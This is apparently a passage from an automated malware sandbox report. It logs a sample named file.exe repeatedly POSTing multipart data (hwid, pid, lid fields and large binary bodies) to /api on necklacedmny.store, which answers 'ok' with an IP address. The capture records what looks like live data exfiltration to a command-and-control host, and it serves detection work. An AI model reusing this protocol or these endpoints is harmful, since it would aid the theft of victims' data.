2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 4b 46 55 2f 33 48 58 4c 73 38 4c 76 77 66 41 30 74 32 2b 73 53 55 54 4c 44 67 48 2f 7a 76 38 67 36 36 44 61 46 42 69 66 32 6f 67 6f 6c 61 74 4b 4a 68 6a 6a 55 61 38 44 59 79 4b 6e 59 61 67 4b 41 59 73 64 53 50 37 49 50 69 62 72 4a 70 72 47 33 67 79 64 32 2b 71 56 75 56 36 6d 43 44 42 54 4b 42 66 32 4d 71 78 6a 4c 59 6f 56 67 52 67 4f 50 38 73 37 49 4b 67 68 43 51 50 4d 79 67 7a 5a 36 6b 61 74 54 44 59 62 34 78 5a 76 52 36 4b 67 4a 43 48 71 43 63 52 4c 48 34 71 38 79 37 76 68 36 4b 49 59 68 74 38 4e 48 42 72 72 31 54 6b 59 70 67 67 77 55 79 67 58 39 6a 4b 74 35 53 6d 4c 78 68 68 56 43 58 75 4a 37 2b 6f 6f 34 4e 6a 48 47 74 78 62 43 36 38 47 75 70 38 6d 44 62 42 51 72 59 54 67 34 32 56 68 36 49 69 48 79 4e 31 4a 50 59 6e 37 34 4f 68 67 6e 59 66 66 6a 78 33 Data Ascii: KFU/3HXLs8LvwfA0t2+sSUTLDgH/zv8g66DaFBif2ogolatKJhjjUa8DYyKnYagKAYsdSP7IPibrJprG3gyd2+qVuV6mCDBTKBf2MqxjLYoVgRgOP8s7IKghCQPMygzZ6katTDYb4xZvR6KgJCHqCcRLH4q8y7vh6KIYht8NHBrr1TkYpggwUygX9jKt5SmLxhhVCXuJ7+oo4NjHGtxbC68Gup8mDbBQrYTg42Vh6IiHyN1JPYn74OhgnYffjx3
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 51 77 33 32 4c 42 45 2f 67 66 68 49 61 65 69 4b 6b 74 47 53 78 39 4a 66 63 71 38 35 75 69 6a 57 77 63 64 54 78 68 61 71 39 49 35 48 6e 56 59 49 6c 5a 75 31 2f 4f 79 70 71 58 35 33 70 55 45 58 41 74 39 44 62 77 68 75 32 58 4b 67 6b 39 4e 6e 38 67 2f 52 72 2f 59 74 68 6c 67 55 79 32 44 59 47 43 6b 6f 57 6e 4a 42 38 70 65 53 66 38 4c 76 53 50 72 49 56 6c 45 58 30 30 63 32 6d 33 56 36 30 2b 6d 47 6d 5a 43 2b 42 66 74 34 61 57 76 71 51 30 56 44 77 30 4e 37 67 6e 38 63 6e 31 79 47 55 43 63 44 6c 33 59 4b 68 63 35 6e 48 5a 62 59 46 4c 75 78 2b 46 67 5a 4b 4a 6f 43 38 65 4b 6e 4d 38 38 43 54 76 69 61 47 4d 4a 46 34 39 4e 6d 73 67 2f 52 72 64 63 39 4e 69 67 55 61 74 58 35 2f 45 68 4d 2b 67 4c 6c 52 37 4f 69 62 7a 4b 2f 75 43 72 6f 74 71 47 33 63 2b 66 47 71 6a 58 Data Ascii: Qw32LBE/gfhIaeiKktGSx9Jfcq85uijWwcdTxhaq9I5HnVYIlZu1/OypqX53pUEXAt9Dbwhu2XKgk9Nn8g/Rr/YthlgUy2DYGCkoWnJB8peSf8LvSPrIVlEX00c2m3V60+mGmZC+Bft4aWvqQ0VDw0N7gn8cn1yGUCcDl3YKhc5nHZbYFLux+FgZKJoC8eKnM88CTviaGMJF49Nmsg/Rrdc9NigUatX5/EhM+gLlR7OibzK/uCrotqG3c+fGqjX
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 6a 69 6b 66 36 48 6f 32 61 6d 73 2f 70 59 68 4a 6a 49 6e 36 32 59 50 6d 59 37 64 41 30 51 69 5a 6b 49 44 66 31 43 50 49 2b 77 53 36 58 43 2b 42 4e 7a 73 71 50 7a 2f 39 69 55 79 42 6f 50 50 34 6a 36 34 72 71 74 6c 6f 77 64 6a 31 77 62 4b 52 64 72 54 36 59 59 63 45 54 67 56 2b 44 6d 49 2f 41 74 6a 51 5a 4d 33 31 69 38 44 48 77 68 65 33 47 4a 46 78 35 4f 6e 39 6c 6f 6b 71 69 59 73 68 6c 6a 56 33 30 47 35 4c 4b 30 38 2b 32 4b 52 73 78 64 43 6d 33 4d 65 75 45 76 59 74 68 46 7a 45 35 59 6d 32 70 47 71 4d 77 7a 57 57 4e 54 62 55 4b 7a 35 75 4c 6a 4c 45 6c 57 43 74 72 49 2f 52 67 77 73 66 74 6b 43 52 49 50 51 52 77 62 71 74 64 2b 32 47 56 54 6f 70 48 75 78 4f 42 6a 64 33 42 35 79 52 55 65 79 6c 67 75 43 54 73 79 66 58 59 4e 6b 73 6f 59 69 51 77 39 30 57 6a 61 5a Data Ascii: jikf6Ho2ams/pYhJjIn62YPmY7dA0QiZkIDf1CPI+wS6XC+BNzsqPz/9iUyBoPP4j64rqtlowdj1wbKRdrT6YYcETgV+DmI/AtjQZM31i8DHwhe3GJFx5On9lokqiYshljV30G5LK08+2KRsxdCm3MeuEvYthFzE5Ym2pGqMwzWWNTbUKz5uLjLElWCtrI/RgwsftkCRIPQRwbqtd+2GVTopHuxOBjd3B5yRUeylguCTsyfXYNksoYiQw90WjaZ
2024-10-30 04:24:09 UTC	1369	IN	Data Raw: 34 45 7a 4f 79 6f 2f 50 2f 32 4a 54 4c 58 63 76 2b 79 37 2b 6d 37 2b 4f 5a 77 5a 2b 64 6b 31 65 67 46 66 67 64 64 5a 70 76 33 57 5a 46 5a 43 48 6b 6f 69 5a 48 43 4d 79 66 54 36 36 42 76 36 66 72 73 67 71 55 47 56 78 4b 79 43 45 55 50 31 39 31 32 6e 42 42 66 67 62 77 4e 4c 64 71 71 6f 76 45 53 31 39 62 4e 6b 71 37 59 53 69 6a 79 52 65 50 54 30 7a 4f 4f 56 62 35 32 44 56 59 59 59 48 76 77 57 48 79 74 50 50 71 57 4a 4d 59 33 73 6b 36 43 33 79 6a 75 47 4f 61 68 34 39 4c 6a 31 35 35 55 79 74 4b 49 73 67 77 56 6e 34 52 38 44 4e 6b 34 4b 6d 49 52 6f 67 61 44 7a 2b 49 2b 75 4b 36 72 5a 61 4e 58 41 38 64 6d 36 69 5a 4e 4e 52 30 6e 36 4d 52 4c 39 64 6f 49 32 4c 6a 4a 6b 63 49 7a 4a 39 50 72 6f 47 2f 70 2b 75 79 43 70 51 5a 58 45 72 49 49 52 51 2f 58 33 58 61 63 4e Data Ascii: 4EzOyo/P/2JTLXcv+y7+m7+OZwZ+dk1egFfgddZpv3WZFZCHkoiZHCMyfT66Bv6frsgqUGVxKyCEUP1912nBBfgbwNLdqqovES19bNkq7YSijyRePT0zOOVb52DVYYYHvwWHytPPqWJMY3sk6C3yjuGOah49Lj155UytKIsgwVn4R8DNk4KmIRogaDz+I+uK6rZaNXA8dm6iZNNR0n6MRL9doI2LjJkcIzJ9ProG/p+uyCpQZXErIIRQ/X3XacN

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49712	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12864 Host: necklacedmny.store
2024-10-30 04:24:09 UTC	12864	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:24:10 UTC	1018	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7jrq5a5eiouqkqglmcl2r0lv1m; expires=Sat, 22 Feb 2025 22:10:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QjisYDOU9DXJMX2A7Ytz6e3PT5T%2BfMgQiKlPAkTGHiql5Yd0FHi7JmcqYqldmIThniJNVC%2Bg5Agj0Cv5NFw5RomVOQc1xN054nf9aICrZ%2F2mDJNkczJ7sY15OcQv4VP9zUeR8%2Fg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a256c8b86c69-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1069&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13806&delivery_rate=2671586&cwnd=251&unsent_bytes=0&cid=1890f0ca22e2ea57&ts=516&x=0"
2024-10-30 04:24:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:24:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:11 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15110 Host: necklacedmny.store
2024-10-30 04:24:11 UTC	15110	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:24:11 UTC	1012	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sqc2m7nov0u9t77eg96nkt7q0d; expires=Sat, 22 Feb 2025 22:10:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=blcwypd2StNxZ87frmoDhvwR2pY38vnO1bE2uatVGT5HUVLcyz%2BIhZoGvYUvjER45txHekEyi9RXQOvL0UipscnsyjjOzvgZiSIfY1UziskEqJTlWnWwgLYaQ6dyFrXUccUybWU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a25e7dd56b2e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=987&sent=10&recv=22&lost=0&retrans=0&sent_bytes=2844&recv_bytes=16052&delivery_rate=2873015&cwnd=247&unsent_bytes=0&cid=880a81ed88d8f57d&ts=391&x=0"
2024-10-30 04:24:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:24:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49715	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19968 Host: necklacedmny.store
2024-10-30 04:24:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:24:12 UTC	4637	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-10-30 04:24:13 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s02t9suphjvgc71oq1c8npv7q0; expires=Sat, 22 Feb 2025 22:10:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OwePpUqip3XGRhhUp5mmuQFdnO5s%2Fqq6eHLixwBoRmNXUjwmrVP08riYidM0MHZ682vQ9I2eSKX%2FPQdVKJtq9UhVGRcnGJhOxczVHh139xWKmPcjbM2FLW4yEryb2lrjNk4PzbY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a2661f22e983-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1994&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=20932&delivery_rate=1357075&cwnd=247&unsent_bytes=0&cid=d6654ace827ab7a8&ts=929&x=0"
2024-10-30 04:24:13 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:24:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49721	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:14 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1225 Host: necklacedmny.store
2024-10-30 04:24:14 UTC	1225	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:24:14 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hb23t8l7mmceritcg37hlnfi7r; expires=Sat, 22 Feb 2025 22:10:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TGQZtQZR6Rb96kE%2BoqYyNezrJSsk0UMv4kPowabIVpql%2FbJDYysOy9ggmz0ZxOiSU%2BgV%2FwovzsxtHV7xWGtRdGxiFa8tnwZ1SrwEHorYwcXodFlDZdrJeXrxKgq8jc1XJOrvsAQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a272fe994680-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1288&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2144&delivery_rate=2092485&cwnd=242&unsent_bytes=0&cid=7df42bb6196f0bf6&ts=465&x=0"
2024-10-30 04:24:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 04:24:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49732	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:16 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551576 Host: necklacedmny.store
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AC160988B363BA17740D9A468BAD2EF1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 42 54 22 2b 8e 44 08 4c fb 97 e8 78 34 91 10 3f 98 51 d8 1f 24 b5 c3 34 db 37 d8 3e ec fe 52 53 f4 92 a9 24 22 45 48 c1 18 27 fd f6 f0 98 f2 af b0 80 e8 cc e7 89 33 13 0d 2e e8 96 0a 9b a3 a9 3b 03 37 c6 ae 18 69 ad 5f 37 37 6d 43 89 3b 0f 9a d3 70 57 8d 1d 54 95 99 df 5c 0a 9a a4 25 67 35 48 f3 3d 4d 62 2a 52 bc 4c 23 8b 0f 32 ab 9c ca 65 f4 5c d2 56 27 3d f4 2f d9 b2 a6 26 0b 4c d8 1a a1 8c bf 42 e4 6d 74 f3 63 08 ae 87 6a 14 f0 47 5a e1 52 af 5f d9 f1 ad 17 af 56 fb 6f ac 82 8c 03 f4 d0 71 d4 5d 3d 86 a8 18 3a 46 52 87 a1 c5 92 2d eb 84 38 23 ba 8e 42 35 2a 0c fb 3c 76 67 fc 51 7a 0c c4 28 e5 f1 1a 2e 83 6e a5 3d 0a 20 5b 7b f9 c8 6f 80 71 ec 35 9e 29 48 98 93 79 6d 3f f1 57 7f 9d ff 28 6a 69 87 8f 09 9a 9e ec 76 e3 c5 60 b6 bb d0 b9 7f 12 4a d7 1f 47 Data Ascii: BT"+DLx4?Q$47>RS$"EH'3.;7i_77mC;pWT\%g5H=MbRL#2e\V'=/&LBmtcjGZR_Voq]=:FR-8#B5<vgQz(.n= [{oq5)Hym?W(jiv`JG
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 21 6c 65 da 3c c5 92 d3 bf a9 47 1c 57 9a a8 4b e1 3e 77 b6 83 1e a5 2f 09 7c 48 ae c2 0e ed f6 e8 44 4d be e5 ac 1a c0 e8 ac a3 33 b7 2c 48 35 68 b9 9e 27 0f 6d a7 40 eb c5 66 01 c1 2a f3 ac 0c ed 1f 8a 29 06 db 78 f1 75 ee 96 f2 70 1b f3 f2 57 5c b2 89 e4 da b8 4b 41 43 10 aa 49 d3 ba 8d 78 45 f0 a0 d3 a9 f2 a0 f8 c5 a3 0a e6 96 1c 59 9f ac df f4 11 80 3b b5 bd 59 6b ff 19 5d ea 7e db 2d 6c 44 b4 67 ae e4 ed 81 ba 8d 41 9f 1e 0a b7 9f 72 72 a9 36 d2 0d a6 0a 80 d2 86 ef ee 3d 4b ae c1 a7 23 3e bd cf 7c ec ce 9d b5 ef a9 e8 32 35 e2 7e e8 d7 b2 79 fd 96 b5 b1 46 79 33 fb be 32 a0 f9 46 f4 aa 76 ef b7 13 1a 68 8a 1f a0 c5 d2 d3 44 ea 21 88 34 7d e3 7a b4 5e f4 d6 4a 87 2e 6b 0a 62 60 45 86 eb 46 f8 40 bd 09 00 ac be bb 10 ac f2 c1 c0 ab 09 30 70 81 5a 37 Data Ascii: !le<GWK>w/\|HDM3,H5h'm@f*)xupW\KACIxEY;Yk]~-lDgArr6=K#>\|25~yFy32FvhD!4}z^J.kb`EF@0pZ7
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 6e 7f 5d 14 fb 13 76 0a e4 1d ed 77 0d 4f d5 4e 7c 34 c5 3d ba 56 57 34 04 67 49 33 99 d9 fd d5 56 bf 51 d3 9f d4 3e 39 14 ab 54 df 43 33 ee b1 71 b0 00 94 c4 0b e7 43 29 32 d1 18 41 6a 92 b7 48 26 c4 8a 5b 2b dc d3 6d 24 0e 93 5b f6 38 90 6e 5c 11 ff a5 18 f8 8c 8d 5b ce 3c 94 1e 5c 19 e7 fe 65 bd 62 24 46 b0 fb 37 5c 80 20 1c 6c 94 44 ed b6 4f 9b a1 bb fe a9 10 5e 29 bb 38 97 1f 52 5c 89 cb 4c 9a f3 f9 d4 2b 09 d2 22 ff d7 1a f5 ff 2e 87 2a 6c 07 d3 58 d4 09 7f d0 7d c5 6a 17 c8 d1 c2 b8 4c f2 81 86 d5 80 ab 0a d7 98 32 ea d8 cf 1d 4d 6b c7 0e 82 c3 fc f1 52 11 6e 90 e5 e2 ab b8 10 14 7c d2 1f 84 f6 1f 8e 76 b9 66 ca a0 e0 b3 ac 86 06 e7 17 92 b0 20 55 e1 87 31 f7 68 a3 93 2c e7 68 e2 55 6c c8 c7 46 63 e6 0b eb e4 90 83 a8 be b7 e8 02 7e a8 ab b8 08 0c Data Ascii: n]vwON\|4=VW4gI3VQ>9TC3qC)2AjH&[+m$[8n\[<\eb$F7\ lDO^)8R\L+".*lX}jL2MkRn\|vf U1h,hUlFc~
